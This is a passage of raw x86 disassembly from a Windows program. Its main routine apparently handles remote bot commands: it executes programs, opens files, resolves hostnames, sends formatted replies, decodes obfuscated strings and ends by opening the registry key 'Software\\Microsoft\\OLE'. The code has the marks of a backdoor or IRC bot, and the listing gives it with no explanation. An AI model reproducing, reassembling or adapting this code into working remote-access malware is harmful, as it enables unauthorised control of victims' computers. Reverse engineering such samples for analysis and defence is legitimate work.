		dec	ebp
		jnz	short loc_404998
		jmp	short loc_4049B8
; ---------------------------------------------------------------------------


loc_4049A7:				; CODE XREF: sub_404640+352j
		test	ebp, ebp
		jle	short loc_4049B8


loc_4049AB:				; CODE XREF: sub_404640+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401442
		dec	ebp
		jnz	short loc_4049AB


loc_4049B8:				; CODE XREF: sub_404640+356j
					; sub_404640+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049CE:				; CODE XREF: sub_404640+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_4049E5
		call	sub_401F69
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049E5:				; CODE XREF: sub_404640+39Cj
		call	sub_401442


loc_4049EA:				; CODE XREF: sub_404640+162j
					; sub_404640+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B10	proc near		; CODE XREF: sub_401F69j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_448CA2
		call	sub_4014D3
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404B56
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B56
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B56:				; CODE XREF: sub_404B10+1Dj
					; sub_404B10+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B96
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404B96
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_40146F
		cmp	byte ptr [eax],	23h
		jz	short loc_404B96
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B96:				; CODE XREF: sub_404B10+64j
					; sub_404B10+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_401442
		pop	edi
		pop	esi
		retn	4
sub_404B10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404BE0	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401AF0
		test	eax, eax
		jz	short loc_404C0A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C0A:				; CODE XREF: sub_404BE0+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404BE0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C20	proc near		; CODE XREF: sub_40185Cj
		push	esi
		push	edi
		mov	edi, dword_50F8A4
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D60D9
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C4F
		mov	ecx, offset byte_4D60B5
		call	sub_401D0C
		call	edi
		mov	dword_4D60D9, eax


loc_404C4F:				; CODE XREF: sub_404C20+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C20	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_4017C6j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404C70
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404CE4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404CE4:				; CODE XREF: sub_404C70+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404E75
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C5D
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017E4
		push	eax
		call	near ptr 27F0000h
		nop
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FBE
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014D3
		push	eax
		push	0
		nop
		call	near ptr 27E0617h
		test	eax, eax
		jnz	short loc_404E49
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_404E49:				; CODE XREF: sub_404C70+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404E75:				; CODE XREF: sub_404C70+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F24
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E6E85
		mov	[esp+178h+var_4], 3
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F10
		mov	al, byte_4478D6
		test	al, al
		jz	short loc_404EE0
		push	offset dword_447874
		mov	ecx, offset dword_448DB0
		call	sub_401447


loc_404EE0:				; CODE XREF: sub_404C70+25Fj
		mov	al, byte_44791F
		test	al, al
		jz	short loc_404EF8
		push	offset byte_44794F
		mov	ecx, offset dword_448DB0
		call	sub_401942


loc_404EF8:				; CODE XREF: sub_404C70+277j
		mov	ecx, offset dword_448DB0
		call	sub_401E5B
		mov	byte_4D60CC, 0
		mov	byte_4E6E84, 0


loc_404F10:				; CODE XREF: sub_404C70+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_404F24:				; CODE XREF: sub_404C70+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F6C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		mov	ecx, offset word_4E6E9A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404F6C:				; CODE XREF: sub_404C70+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405029
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1A8h+var_164]
		push	9
		push	ecx
		mov	[esp+1B0h+var_4], 4
		call	sub_4019B5
		add	esp, 38h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405029:				; CODE XREF: sub_404C70+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405147
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A87
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017E4
		push	eax
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4020F4
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40200E
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_405147:				; CODE XREF: sub_404C70+3CEj
		lea	ecx, [edi+0D99h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40516A
		mov	byte_4D60CC, al
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_40516A:				; CODE XREF: sub_404C70+4ECj
		lea	ecx, [edi+0D3Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405431
		lea	ecx, [esp+178h+var_11C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_4051F4
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_4051F4:				; CODE XREF: sub_404C70+56Ej
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_4052C7
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		call	near ptr 71ABE479h
		nop
		mov	edi, eax
		test	edi, edi
		jz	loc_4053A8
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40540E
; ---------------------------------------------------------------------------


loc_4052C7:				; CODE XREF: sub_404C70+5CAj
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 71AB4FD4h
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053A8
		mov	ecx, [edi+0Ch]
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016AE
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		call	near ptr 71AB3F41h
		nop
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4053A8:				; CODE XREF: sub_404C70+5E3j
					; sub_404C70+694j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017E4
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40540E:				; CODE XREF: sub_404C70+652j
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405431:				; CODE XREF: sub_404C70+50Fj
		lea	ecx, [edi+0BCDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405522
		lea	ecx, [edi+9]
		call	sub_4017E4
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402022
		add	esp, 8
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+188h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+190h+var_4], ebx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D60B5
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E85
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405522:				; CODE XREF: sub_404C70+7D6j
		lea	ecx, [edi+0E23h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405690
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013D9
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013D9
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013D9
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_405673
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013D9
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_40146F
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015D7
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017E4
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C293C7h
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_40562A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405648
; ---------------------------------------------------------------------------


loc_40562A:				; CODE XREF: sub_404C70+99Dj
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405648:				; CODE XREF: sub_404C70+9B8j
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_40566E:				; CODE XREF: sub_404C70+1D4j
					; sub_404C70+2AFj ...
		call	sub_401226


loc_405673:				; CODE XREF: sub_404C70+922j
					; sub_404C70+C70j
		xor	al, al


loc_405675:				; CODE XREF: sub_404C70+6Fj
					; sub_404C70+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_405690:				; CODE XREF: sub_404C70+8C7j
		lea	ecx, [edi+0C85h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405706
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F3C
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405706:				; CODE XREF: sub_404C70+A35j
		lea	ecx, [edi+0CE1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4057F7
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E85
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E6E85
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D60B5
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4057F7:				; CODE XREF: sub_404C70+AABj
		lea	ecx, [edi+0CB3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4058CB
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_40585F
		mov	ebx, 7


loc_40585F:				; CODE XREF: sub_404C70+BE8j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40194C
		push	offset byte_446F70
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058B4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_4058B4:				; CODE XREF: sub_404C70+C17j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4058CB:				; CODE XREF: sub_404C70+B9Cj
		lea	ecx, [edi+0DF5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405673
		lea	ecx, [esp+178h+var_100]
		call	sub_401424
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019B5
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A87
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_50F75C
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
